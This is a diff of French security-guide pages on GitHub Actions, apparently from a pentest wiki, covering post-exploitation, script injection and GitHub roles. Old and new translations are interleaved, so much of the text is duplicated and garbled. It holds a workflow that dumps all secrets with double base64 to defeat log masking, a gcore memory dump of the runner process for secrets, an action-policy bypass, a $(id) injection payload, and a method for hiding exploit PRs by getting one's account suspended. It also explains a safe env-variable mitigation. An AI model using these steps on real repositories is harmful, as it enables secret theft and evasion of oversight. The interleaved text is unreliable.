## Post Exploitation from an Action
### Github Action Policies Bypass
Comme expliqué dans [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), même si une repository ou organisation a une policy restreignant l'utilisation de certaines actions, un attaquant pourrait simplement télécharger (`git clone`) une action dans le workflow puis la référencer comme une action locale. Comme les policies n'affectent pas les local paths, **the action will be executed without any restriction.**
Example:
```yaml
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout
- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat
- run: ls && pwd
- run: ls tmp/checkout
```
### Accéder à AWS et GCP via OIDC
Consultez les pages suivantes :
@@ -442,13 +470,13 @@ Consultez les pages suivantes :
### Accéder aux secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
Si vous injectez du contenu dans un script, il est intéressant de savoir comment vous pouvez accéder aux secrets :
Si vous injectez du contenu dans un script, il est utile de savoir comment accéder aux secrets :
- Si le secret ou le token est défini comme une **variable d'environnement**, il peut être directement accessible via l'environnement en utilisant **`printenv`**.
- Si le secret ou le token est défini dans une **variable d'environnement**, il peut être accédé directement via l'environnement en utilisant **`printenv`**.
<details>
<summary>Liste des secrets dans la sortie de l'Action Github</summary>
<summary>Lister les secrets dans la sortie de Github Action</summary>
```yaml
name: list_env
on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>Obtenir un shell inversé avec des secrets</summary>
<summary>Obtenir un reverse shell avec des secrets</summary>
```yaml
name: revshell
on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- Si le secret est utilisé **directement dans une expression**, le script shell généré est stocké **sur le disque** et est accessible.
- Si le secret est utilisé **directly in an expression**, le script shell généré est stocké **on-disk** et est accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- Pour des actions JavaScript, les secrets sont envoyés via des variables d'environnement.
- For a JavaScript actions the secrets are sent through environment variables
- ```bash
ps axe | grep node
```
- Pour une **action personnalisée**, le risque peut varier en fonction de la manière dont un programme utilise le secret qu'il a obtenu de l'**argument** :
- For a **custom action**, le risque peut varier selon la façon dont un programme utilise le secret qu'il a obtenu depuis l'**argument**:
```yaml
uses: fakeaction/publish@v3
@@ -514,27 +542,51 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
### Abus des runners auto-hébergés
- Énumérez tous les secrets via le secrets context (collaborator level). Un contributeur avec write access peut modifier un workflow sur n'importe quelle branche pour dumper tous les repository/org/environment secrets. Utilisez double base64 pour contourner le masquage des logs de GitHub et décoder localement:
La manière de trouver quelles **Github Actions sont exécutées dans une infrastructure non-Github** est de rechercher **`runs-on: self-hosted`** dans la configuration yaml de l'Action Github.
```yaml
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```
Les runners **auto-hébergés** peuvent avoir accès à des **informations extra sensibles**, à d'autres **systèmes réseau** (points d'extrémité vulnérables dans le réseau ? service de métadonnées ?) ou, même s'ils sont isolés et détruits, **plus d'une action peut être exécutée en même temps** et l'action malveillante pourrait **voler les secrets** de l'autre.
Decode locally:
Dans les runners auto-hébergés, il est également possible d'obtenir les **secrets du processus \_Runner.Listener**\_\*\* qui contiendra tous les secrets des workflows à n'importe quelle étape en vidant sa mémoire :
```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
### Abusing Self-hosted runners
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **voler les secrets** of the other one.
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Vérifiez [**ce post pour plus d'informations**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Registre d'images Docker Github
Il est possible de créer des actions Github qui **construisent et stockent une image Docker à l'intérieur de Github**.\
Un exemple peut être trouvé dans le suivant extensible :
Il est possible de créer des Github actions qui vont **construire et stocker une Docker image à l'intérieur de Github**.\
Un exemple se trouve dans l'élément extensible suivant :
<details>
<summary>Action Github Construire & Pousser l'image Docker</summary>
<summary>Github Action Build & Push Docker Image</summary>
```yaml
[...]
@@ -567,28 +619,32 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
Comme vous pouvez le voir dans le code précédent, le registre Github est hébergé sur **`ghcr.io`**.
Un utilisateur ayant des permissions de lecture sur le dépôt pourra alors télécharger l'image Docker en utilisant un jeton d'accès personnel :
Un utilisateur avec des permissions de lecture sur le repo pourra alors télécharger la Docker Image en utilisant un personal access token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Alors, l'utilisateur pourrait rechercher des **secrets divulgués dans les couches d'image Docker :**
Ensuite, l'utilisateur pourrait rechercher **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Informations sensibles dans les journaux des actions Github
### Informations sensibles dans les logs de Github Actions
Même si **Github** essaie de **détecter les valeurs secrètes** dans les journaux des actions et **d'éviter de les afficher**, **d'autres données sensibles** qui pourraient avoir été générées lors de l'exécution de l'action ne seront pas cachées. Par exemple, un JWT signé avec une valeur secrète ne sera pas caché à moins qu'il ne soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Même si **Github** tente de **détecter des valeurs secrètes** dans les logs des actions et **éviter de les afficher**, **d'autres données sensibles** qui auraient pu être générées lors de l'exécution de l'action ne seront pas masquées. Par exemple, un JWT signé avec une valeur secrète ne sera pas masqué à moins qu'il ne soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Couvrir vos traces
(Technique de [**ici**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR soumise est clairement visible au public sur Github et au compte GitHub cible. Dans GitHub par défaut, nous **ne pouvons pas supprimer une PR de l'internet**, mais il y a un twist. Pour les comptes Github qui sont **suspendus** par Github, toutes leurs **PRs sont automatiquement supprimées** et retirées de l'internet. Donc, pour cacher votre activité, vous devez soit faire **suspendre votre compte GitHub ou faire flaguer votre compte**. Cela **cacherait toutes vos activités** sur GitHub de l'internet (en gros, supprimer toutes vos PR d'exploitation)
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR créée est clairement visible du public sur Github et sur le compte GitHub ciblé. Par défaut, dans GitHub, nous **ne pouvons pas supprimer une PR d'internet**, mais il y a une astuce. Pour les comptes Github qui sont **suspendus** par Github, toutes leurs **PRs sont automatiquement supprimées** et retirées d'internet. Donc, pour cacher votre activité vous devez soit faire suspendre votre **compte GitHub** ou faire signaler votre compte. Cela **cacherait toutes vos activités** sur GitHub d'internet (supprimerait essentiellement tous vos exploit PR)
Une organisation sur GitHub est très proactive dans le signalement des comptes à GitHub. Tout ce que vous avez à faire est de partager "certaines choses" dans un problème et ils s'assureront que votre compte est suspendu dans les 12 heures :p et voilà, vous avez rendu votre exploitation invisible sur github.
Une organisation sur GitHub est très proactive pour signaler des comptes à GitHub. Tout ce que vous avez à faire est de partager “some stuff” dans un Issue et ils s'assureront que votre compte soit suspendu en 12 heures :p et voilà, votre exploit rendu invisible sur github.
> [!WARNING]
> La seule façon pour une organisation de découvrir qu'elle a été ciblée est de vérifier les journaux GitHub depuis SIEM car depuis l'interface utilisateur de GitHub, la PR serait supprimée.
> La seule façon pour une organisation de déterminer qu'elle a été ciblée est de vérifier les logs GitHub depuis le SIEM, car depuis l'UI de GitHub la PR serait supprimée.
## Références
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,3 +1,96 @@
# Gh Actions - Injections de Script de Contexte
# Gh Actions - Context Script Injections
{{#include ../../../banners/hacktricks-training.md}}
## Comprendre le risque
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the steps program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
Points clés :
- Le rendu a lieu avant l'exécution. Le script fourni dans run: est généré avec toutes les expressions résolues, puis exécuté par le shell.
- De nombreux contexts contiennent des champs contrôlés par l'utilisateur selon l'événement déclencheur (issues, PRs, comments, discussions, forks, stars, etc.). Consultez la référence sur les untrusted input : https://securitylab.github.com/resources/github-actions-untrusted-input/
- L'échappement des quotes dans run: n'est pas une défense fiable, car l'injection se produit au stade de rendu du template. Les attaquants peuvent sortir des quotes ou injecter des opérateurs via des entrées spécialement conçues.
## Modèle vulnérable → RCE on runner
Workflow vulnérable (déclenché quand quelqu'un ouvre une nouvelle issue):
```yaml
name: New Issue Created
on:
issues:
types: [opened]
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
```
Si un attaquant ouvre une issue intitulée $(id), l'étape rendue devient :
```sh
echo "New issue $(id) created"
```
La substitution de commande exécute id sur le runner. Exemple de sortie :
```
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
```
Pourquoi les guillemets ne vous sauvent pas :
- Les expressions sont évaluées d'abord, puis le script résultant s'exécute. Si la valeur non fiable contient $(...), `;`, `"`/`'`, ou des sauts de ligne, elle peut altérer la structure du programme malgré vos guillemets.
## Schéma sûr (variables shell via env)
Atténuation correcte : copiez l'entrée non fiable dans une variable d'environnement, puis utilisez l'expansion shell native ($VAR) dans le script d'exécution. Ne la réinsérez pas avec ${{ ... }} à l'intérieur de la commande.
```yaml
# safe
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
```
Remarques :
- Évitez d'utiliser ${{ env.TITLE }} dans run:. Cela réintroduit le rendu de template dans la commande et entraîne le même risque d'injection.
- Préférez passer les entrées non fiables via le mapping env: et les référencer avec $VAR dans run:.
## Surfaces déclenchables par des lecteurs (à traiter comme non fiables)
Les comptes avec uniquement la permission de lecture sur des dépôts publics peuvent quand même déclencher de nombreux événements. Tout champ dans des contextes dérivés de ces événements doit être considéré comme contrôlé par un attaquant sauf preuve du contraire. Exemples:
- issues, issue_comment
- discussion, discussion_comment (orgs can restrict discussions)
- pull_request, pull_request_review, pull_request_review_comment
- pull_request_target (dangerous if misused, runs in base repo context)
- fork (anyone can fork public repos)
- watch (starring a repo)
- Indirectly via workflow_run/workflow_call chains
Les champs précis qui sont contrôlés par un attaquant dépendent de l'événement. Consultez le guide sur les entrées non fiables de GitHub Security Lab : https://securitylab.github.com/resources/github-actions-untrusted-input/
## Conseils pratiques
- Minimisez l'utilisation d'expressions dans run:. Préférez le mapping env: + $VAR.
- Si vous devez transformer une entrée, faites-le dans le shell en utilisant des outils sûrs (printf %q, jq -r, etc.), en partant toujours d'une variable shell.
- Soyez particulièrement prudent lorsque vous interpolez des noms de branches, des titres de PR, des noms d'utilisateur, des labels, des titres de discussion et des PR head refs dans des scripts, des options en ligne de commande ou des chemins de fichiers.
- Pour reusable workflows et composite actions, appliquez le même schéma : mappez vers env puis référencez $VAR.
## Références
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,153 +4,153 @@
## Structure de base
La structure de base de l'environnement github d'une grande **entreprise** est de posséder une **entreprise** qui possède **plusieurs organisations** et chacune d'elles peut contenir **plusieurs dépôts** et **plusieurs équipes**. Les petites entreprises peuvent simplement **posséder une organisation et pas d'entreprises**.
La structure de l'environnement Github d'une grande **entreprise** consiste à posséder une **Enterprise** qui possède **plusieurs organizations** et chacune d'elles peut contenir **plusieurs repositories** et **plusieurs teams.**. Les petites entreprises peuvent simplement **posséder une organization et pas d'Enterprise**.
Du point de vue d'un utilisateur, un **utilisateur** peut être **membre** de **différentes entreprises et organisations**. Au sein de celles-ci, l'utilisateur peut avoir **différents rôles d'entreprise, d'organisation et de dépôt**.
Du point de vue d'un utilisateur, un **user** peut être **membre** de **différentes Enterprises et organizations**. Au sein de celles-ci, l'utilisateur peut avoir **différents rôles au niveau Enterprise, organization et repository**.
De plus, un utilisateur peut être **partie de différentes équipes** avec différents rôles d'entreprise, d'organisation ou de dépôt.
De plus, un utilisateur peut faire **partie de différentes teams** avec différents rôles au niveau Enterprise, organization ou repository.
Et enfin, **les dépôts peuvent avoir des mécanismes de protection spéciaux**.
Et enfin, **les repositories peuvent avoir des mécanismes de protection spéciaux**.
## Privilèges
### Rôles d'entreprise
### Rôles Enterprise
- **Propriétaire d'entreprise** : Les personnes ayant ce rôle peuvent **gérer les administrateurs, gérer les organisations au sein de l'entreprise, gérer les paramètres de l'entreprise, appliquer des politiques à travers les organisations**. Cependant, elles **ne peuvent pas accéder aux paramètres ou au contenu de l'organisation** à moins qu'elles ne soient désignées comme propriétaires d'organisation ou qu'elles ne reçoivent un accès direct à un dépôt appartenant à l'organisation.
- **Membres d'entreprise** : Les membres des organisations appartenant à votre entreprise sont également **automatiquement membres de l'entreprise**.
- **Enterprise owner** : Les personnes avec ce rôle peuvent **gérer les administrateurs, gérer les organizations au sein de l'Enterprise, gérer les paramètres de l'Enterprise, appliquer des politiques à travers les organizations**. Cependant, ils **ne peuvent pas accéder aux paramètres ou au contenu d'une organization** à moins d'être nommés organization owner ou d'avoir un accès direct à un repository appartenant à l'organization.
- **Enterprise members** : Les membres des organizations appartenant à votre Enterprise sont **également automatiquement membres de l'Enterprise**.
### Rôles d'organisation
Dans une organisation, les utilisateurs peuvent avoir différents rôles :
Dans une organization, les utilisateurs peuvent avoir différents rôles :
- **Propriétaires d'organisation** : Les propriétaires d'organisation ont **un accès administratif complet à votre organisation**. Ce rôle doit être limité, mais à pas moins de deux personnes, dans votre organisation.
- **Membres d'organisation** : Le rôle **par défaut**, non administratif pour **les personnes dans une organisation** est le membre de l'organisation. Par défaut, les membres de l'organisation **ont un certain nombre de permissions**.
- **Gestionnaires de facturation** : Les gestionnaires de facturation sont des utilisateurs qui peuvent **gérer les paramètres de facturation de votre organisation**, tels que les informations de paiement.
- **Gestionnaires de sécurité** : C'est un rôle que les propriétaires d'organisation peuvent attribuer à n'importe quelle équipe dans une organisation. Lorsqu'il est appliqué, il donne à chaque membre de l'équipe des permissions pour **gérer les alertes de sécurité et les paramètres à travers votre organisation, ainsi que des permissions de lecture pour tous les dépôts** dans l'organisation.
- Si votre organisation a une équipe de sécurité, vous pouvez utiliser le rôle de gestionnaire de sécurité pour donner aux membres de l'équipe le minimum d'accès dont ils ont besoin à l'organisation.
- **Gestionnaires d'applications Github** : Pour permettre à des utilisateurs supplémentaires de **gérer les applications GitHub appartenant à une organisation**, un propriétaire peut leur accorder des permissions de gestionnaire d'application GitHub.
- **Collaborateurs externes** : Un collaborateur externe est une personne qui a **accès à un ou plusieurs dépôts de l'organisation mais n'est pas explicitement membre** de l'organisation.
- **Organization owners** : Les organization owners ont **un accès administratif complet à votre organization**. Ce rôle doit être limité, mais à pas moins de deux personnes dans votre organization.
- **Organization members** : Le rôle **par défaut**, non administratif, pour les **personnes dans une organization** est organization member. Par défaut, les organization members **ont un certain nombre d'autorisations**.
- **Billing managers** : Les billing managers sont des utilisateurs qui peuvent **gérer les paramètres de facturation de votre organization**, comme les informations de paiement.
- **Security Managers** : C'est un rôle que les organization owners peuvent assigner à n'importe quelle team dans une organization. Lorsqu'il est appliqué, il donne à chaque membre de la team les permissions pour **gérer les security alerts et les paramètres à travers votre organization, ainsi que des permissions en lecture pour tous les repositories** de l'organization.
- Si votre organization a une security team, vous pouvez utiliser le rôle security manager pour donner aux membres de la team le minimum d'accès dont ils ont besoin à l'organization.
- **Github App managers** : Pour permettre à des utilisateurs supplémentaires de **gérer les GitHub Apps appartenant à une organization**, un owner peut leur accorder les permissions de Github App manager.
- **Outside collaborators** : Un outside collaborator est une personne qui a **accès à un ou plusieurs repositories de l'organization mais qui n'est pas explicitement membre** de l'organization.
Vous pouvez **comparer les permissions** de ces rôles dans ce tableau : [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Privilèges des membres
Dans _https://github.com/organizations/\<org_name>/settings/member_privileges_, vous pouvez voir les **permissions que les utilisateurs auront juste pour faire partie de l'organisation**.
Dans _https://github.com/organizations/\<org_name>/settings/member_privileges_ vous pouvez voir les **permissions que les utilisateurs auront simplement en faisant partie de l'organisation**.
Les paramètres configurés ici indiqueront les permissions suivantes des membres de l'organisation :
- Être administrateur, rédacteur, lecteur ou sans permission sur tous les dépôts de l'organisation.
- Si les membres peuvent créer des dépôts privés, internes ou publics.
- Si le fork des dépôts est possible.
- S'il est possible d'inviter des collaborateurs externes.
- Avoir admin, writer, reader ou aucune permission sur tous les repositories de l'organisation.
- Si les membres peuvent créer des repositories private, internal ou public.
- Si le fork des repositories est possible.
- Si il est possible d'inviter des outside collaborators.
- Si des sites publics ou privés peuvent être publiés.
- Les permissions que les administrateurs ont sur les dépôts.
- Si les membres peuvent créer de nouvelles équipes.
- Les permissions que les admins ont sur les repositories.
- Si les membres peuvent créer de nouvelles teams.
### Rôles de dépôt
### Rôles de repository
Par défaut, les rôles de dépôt sont créés :
Par défaut, des rôles de repository sont créés :
- **Lecture** : Recommandé pour **les contributeurs non-code** qui souhaitent voir ou discuter de votre projet.
- **Triage** : Recommandé pour **les contributeurs qui doivent gérer proactivement les problèmes et les demandes de tirage** sans accès en écriture.
- **Écriture** : Recommandé pour les contributeurs qui **poussent activement vers votre projet**.
- **Maintenir** : Recommandé pour **les chefs de projet qui doivent gérer le dépôt** sans accès à des actions sensibles ou destructrices.
- **Administrateur** : Recommandé pour les personnes qui ont besoin d'un **accès complet au projet**, y compris des actions sensibles et destructrices comme la gestion de la sécurité ou la suppression d'un dépôt.
- **Read** : Recommandé pour les **contributors non axés code** qui veulent afficher ou discuter de votre projet.
- **Triage** : Recommandé pour les **contributors qui ont besoin de gérer de manière proactive les issues et pull requests** sans accès en écriture.
- **Write** : Recommandé pour les contributors qui **poussent activement vers votre projet**.
- **Maintain** : Recommandé pour les **chefs de projet qui ont besoin de gérer le repository** sans accès aux actions sensibles ou destructrices.
- **Admin** : Recommandé pour les personnes qui ont **un accès complet au projet**, y compris les actions sensibles et destructrices comme la gestion de la sécurité ou la suppression d'un repository.
Vous pouvez **comparer les permissions** de chaque rôle dans ce tableau [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
Vous pouvez également **créer vos propres rôles** dans _https://github.com/organizations/\<org_name>/settings/roles_.
Vous pouvez aussi **créer vos propres rôles** dans _https://github.com/organizations/\<org_name>/settings/roles_
### Équipes
### Teams
Vous pouvez **lister les équipes créées dans une organisation** dans _https://github.com/orgs/\<org_name>/teams_. Notez que pour voir les équipes qui sont des enfants d'autres équipes, vous devez accéder à chaque équipe parente.
Vous pouvez **lister les teams créées dans une organization** dans _https://github.com/orgs/\<org_name>/teams_. Notez que pour voir les teams qui sont des enfants d'autres teams, vous devez accéder à chaque team parente.
### Utilisateurs
Les utilisateurs d'une organisation peuvent être **listés** dans _https://github.com/orgs/\<org_name>/people_.
Les utilisateurs d'une organization peuvent être **listés** dans _https://github.com/orgs/\<org_name>/people._
Dans les informations de chaque utilisateur, vous pouvez voir les **équipes dont l'utilisateur est membre**, et les **dépôts auxquels l'utilisateur a accès**.
Dans les informations de chaque utilisateur, vous pouvez voir les **teams dont l'utilisateur est membre**, et les **repos auxquels l'utilisateur a accès**.
## Authentification Github
Github offre différentes manières de s'authentifier à votre compte et d'effectuer des actions en votre nom.
Github offre différentes façons de s'authentifier sur votre compte et d'effectuer des actions en votre nom.
### Accès Web
En accédant à **github.com**, vous pouvez vous connecter en utilisant votre **nom d'utilisateur et mot de passe** (et un **2FA potentiellement**).
En accédant à **github.com**, vous pouvez vous connecter en utilisant votre **username et password** (et un **2FA potentiellement**).
### **Clés SSH**
### SSH Keys
Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permettant à la clé **privée associée d'effectuer des actions en votre nom**. [https://github.com/settings/keys](https://github.com/settings/keys)
Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permettant à la **clé privée associée d'effectuer des actions en votre nom.** [https://github.com/settings/keys](https://github.com/settings/keys)
#### **Clés GPG**
#### GPG Keys
Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés**, mais si vous ne les utilisez pas, il pourrait être possible que vous **soyez découvert pour avoir envo des commits sans signature**. En savoir plus sur [le mode vigilant ici](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés**, mais si vous ne les utilisez pas, il peut être possible que vous **soyez détecté pour l'envoi de commits sans signature**. En savoir plus sur le [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Jetons d'accès personnels**
### Personal Access Tokens
Vous pouvez générer un jeton d'accès personnel pour **donner à une application l'accès à votre compte**. Lors de la création d'un jeton d'accès personnel, l'**utilisateur** doit **spécifier** les **permissions** que le **jeton** aura. [https://github.com/settings/tokens](https://github.com/settings/tokens)
Vous pouvez générer des personal access token pour **donner à une application l'accès à votre compte**. Lors de la création d'un personal access token, l'**user** doit **spécifier** les **permissions** que le **token** aura. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Applications Oauth
### Oauth Applications
Les applications Oauth peuvent vous demander des permissions **pour accéder à une partie de vos informations github ou pour vous usurper** afin d'effectuer certaines actions. Un exemple courant de cette fonctionnalité est le **bouton de connexion avec github** que vous pourriez trouver sur certaines plateformes.
Les Oauth applications peuvent vous demander des permissions **pour accéder à une partie de vos informations GitHub ou pour vous impersonner** afin d'effectuer certaines actions. Un exemple courant de cette fonctionnalité est le bouton **login with github** que vous pouvez trouver sur certaines plateformes.
- Vous pouvez **créer** vos propres **applications Oauth** dans [https://github.com/settings/developers](https://github.com/settings/developers)
- Vous pouvez voir toutes les **applications Oauth qui ont accès à votre compte** dans [https://github.com/settings/applications](https://github.com/settings/applications)
- Vous pouvez voir les **portées que les applications Oauth peuvent demander** dans [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- Vous pouvez voir l'accès des tiers des applications dans une **organisation** dans _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_.
- Vous pouvez **créer** vos propres **Oauth applications** dans [https://github.com/settings/developers](https://github.com/settings/developers)
- Vous pouvez voir toutes les **Oauth applications qui ont accès à votre compte** dans [https://github.com/settings/applications](https://github.com/settings/applications)
- Vous pouvez voir les **scopes que les Oauth Apps peuvent demander** dans [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- Vous pouvez voir l'accès tiers des applications dans une **organization** dans _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
Quelques **recommandations de sécurité** :
- Une **application OAuth** doit toujours **agir en tant qu'utilisateur GitHub authentifié sur l'ensemble de GitHub** (par exemple, lors de la fourniture de notifications utilisateur) et avec accès uniquement aux portées spécifiées.
- Une application OAuth peut être utilisée comme fournisseur d'identité en activant un "Login with GitHub" pour l'utilisateur authentifié.
- **Ne** construisez pas une **application OAuth** si vous souhaitez que votre application agisse sur un **dépôt unique**. Avec la portée `repo`, les applications OAuth peuvent **agir sur _tous_** les dépôts de l'utilisateur authentifié.
- **Ne** construisez pas une application OAuth pour agir en tant qu'application pour votre **équipe ou entreprise**. Les applications OAuth s'authentifient en tant qu'**utilisateur unique**, donc si une personne crée une application OAuth pour une entreprise à utiliser, et qu'elle quitte ensuite l'entreprise, personne d'autre n'y aura accès.
- **Plus** ici [ici](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
- Une **OAuth App** devrait toujours **agir en tant qu'utilisateur GitHub authentifié sur l'ensemble de GitHub** (par exemple, lors de l'envoi de notifications utilisateur) et n'avoir accès qu'aux scopes spécifiés.
- Une OAuth App peut être utilisée comme fournisseur d'identité en activant un "Login with GitHub" pour l'utilisateur authentifié.
- **Ne pas** créer une **OAuth App** si vous voulez que votre application agisse sur **un seul repository**. Avec le scope `repo`, les OAuth Apps peuvent **agir sur _tous_ les repositories** de l'utilisateur authentifié.
- **Ne pas** créer une OAuth App pour agir comme application pour votre **équipe ou entreprise**. Les OAuth Apps s'authentifient comme **un seul utilisateur**, donc si une personne crée une OAuth App pour qu'une entreprise l'utilise, et qu'elle quitte l'entreprise, personne d'autre n'aura accès à cette app.
- **Plus** d'informations [ici](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Applications Github
### Github Applications
Les applications Github peuvent demander des permissions pour **accéder à vos informations github ou vous usurper** afin d'effectuer des actions spécifiques sur des ressources spécifiques. Dans les applications Github, vous devez spécifier les dépôts auxquels l'application aura accès.
Les Github applications peuvent demander des permissions pour **accéder à vos informations github ou vous impersonner** afin d'effectuer des actions spécifiques sur des ressources spécifiques. Pour les Github Apps, vous devez spécifier les repositories auxquels l'app aura accès.
- Pour installer une application GitHub, vous devez être un **propriétaire d'organisation ou avoir des permissions d'administrateur** dans un dépôt.
- L'application GitHub doit **se connecter à un compte personnel ou à une organisation**.
- Vous pouvez créer votre propre application Github dans [https://github.com/settings/apps](https://github.com/settings/apps)
- Vous pouvez voir toutes les **applications Github qui ont accès à votre compte** dans [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- Voici les **points de terminaison API pour les applications Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). En fonction des permissions de l'application, elle pourra accéder à certains d'entre eux.
- Vous pouvez voir les applications installées dans une **organisation** dans _https://github.com/organizations/\<org_name>/settings/installations_.
- Pour installer une GitHub App, vous devez être **organisation owner ou avoir des permissions admin** dans un repository.
- La GitHub App devrait **se connecter à un compte personnel ou à une organisation**.
- Vous pouvez créer votre propre Github application dans [https://github.com/settings/apps](https://github.com/settings/apps)
- Vous pouvez voir toutes les **Github applications qui ont accès à votre compte** dans [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- Voici les **endpoints API pour les Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Selon les permissions de l'App, elle pourra accéder à certains d'entre eux.
- Vous pouvez voir les apps installées dans une **organization** dans _https://github.com/organizations/\<org_name>/settings/installations_
Quelques recommandations de sécurité :
- Une application GitHub doit **prendre des actions indépendamment d'un utilisateur** (à moins que l'application n'utilise un jeton [utilisateur-à-serveur](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Pour garder les jetons d'accès utilisateur-à-serveur plus sécurisés, vous pouvez utiliser des jetons d'accès qui expireront après 8 heures, et un jeton de rafraîchissement qui peut être échangé contre un nouveau jeton d'accès. Pour plus d'informations, voir "[Rafraîchir les jetons d'accès utilisateur-à-serveur](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Assurez-vous que l'application GitHub s'intègre avec **des dépôts spécifiques**.
- L'application GitHub doit **se connecter à un compte personnel ou à une organisation**.
- Ne vous attendez pas à ce que l'application GitHub sache et fasse tout ce qu'un utilisateur peut.
- **Ne pas utiliser une application GitHub si vous avez juste besoin d'un service "Login with GitHub"**. Mais une application GitHub peut utiliser un [flux d'identification utilisateur](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) pour connecter les utilisateurs _et_ faire d'autres choses.
